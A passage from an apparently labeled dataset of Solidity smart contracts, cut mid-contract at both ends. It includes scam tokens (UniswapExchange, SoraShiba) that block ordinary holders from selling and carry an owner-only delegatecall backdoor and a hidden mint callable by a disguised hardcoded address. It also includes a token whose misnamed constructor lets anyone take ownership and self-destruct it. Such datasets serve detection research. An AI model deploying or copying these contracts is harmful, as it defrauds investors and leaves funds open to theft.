function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 216 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract KAI is StandardToken{
string public constant name = "KAI";
string public constant symbol = "KAI";
uint public constant decimals = 6;
string public constant version = "1.0";
address public owner;
modifier onlyOwner{
if(msg.sender != owner) throw;
_;
}
function EGC(){
owner = msg.sender;
totalSupply = 10*(10**8)*(10**decimals);
balances[owner] = totalSupply;
}
function changeOwner(address newOwner) onlyOwner{
owner = newOwner;
}
function () payable{
throw;
}
function kill() onlyOwner{
suicide(owner);
}
} | 1 | 4,768 |
pragma solidity 0.4.25;
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract CGCXMarchMassLock is Ownable {
using SafeERC20 for ERC20;
ERC20 public token;
mapping (address => uint256) public lockups;
uint256 public releaseTime;
constructor(address _token) public {
token = ERC20(_token);
releaseTime = 1553990400;
}
function release() public {
releaseFrom(msg.sender);
}
function releaseFrom(address _beneficiary) public {
require(block.timestamp >= releaseTime);
uint256 amount = lockups[_beneficiary];
require(amount > 0);
token.safeTransfer(_beneficiary, amount);
lockups[_beneficiary] = 0;
}
function releaseFromMultiple(address[] _addresses) public {
for (uint256 i = 0; i < _addresses.length; i++) {
releaseFrom(_addresses[i]);
}
}
function submit(address[] _addresses, uint256[] _amounts) public onlyOwner {
for (uint256 i = 0; i < _addresses.length; i++) {
lockups[_addresses[i]] = _amounts[i];
}
}
} | 1 | 3,780 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,239 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SoraShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,289 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = false;
bool public pausedOwnerAdmin = false;
address public admin;
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
